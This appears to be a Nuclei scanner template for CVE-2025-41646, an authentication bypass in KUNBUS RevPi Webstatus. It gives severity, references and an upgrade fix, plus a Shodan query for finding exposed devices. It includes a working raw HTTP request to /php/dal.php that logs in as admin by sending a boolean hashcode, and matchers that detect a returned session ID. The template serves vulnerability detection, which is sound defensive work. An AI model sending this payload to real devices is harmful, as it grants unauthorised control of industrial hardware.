id: CVE-2025-41646

info:
  name: RevPi Webstatus <= v2.4.5 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
  impact: |
    Unauthenticated attackers can bypass authentication through incorrect type conversion in the login mechanism, achieving complete device compromise.
  remediation: |
    Upgrade RevPi Webstatus to version 2.4.6 or later that properly validates authentication credentials.
  reference:
    - https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json
    - https://x.com/win3zz/status/1940397684176904607
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-41646
    cwe-id: CWE-704
    epss-score: 0.33838
    epss-percentile: 0.97026
    cpe: cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunbus
    product: revpi_status
    shodan-query: title:"RevPi"
  tags: cve,cve2025,kunbus,revpi-status,auth-bypass,revpi,vkev,vuln

http:
  - raw:
      - |
        POST /php/dal.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mode":"LOGIN","username":"admin","hashcode":true}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":"SUCCESS"'
          - '"sessionId":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022064d8586aa6d294e45cd7615e1e1f06c56312ffb0bfae3b3c9544a6cb85f4faf8022011fe87bf801cbc2cde22535eb8bfe5112eb9ee59974fc13faf4c9f09786cc49a:922c64590222798bb761d5b6d8e72950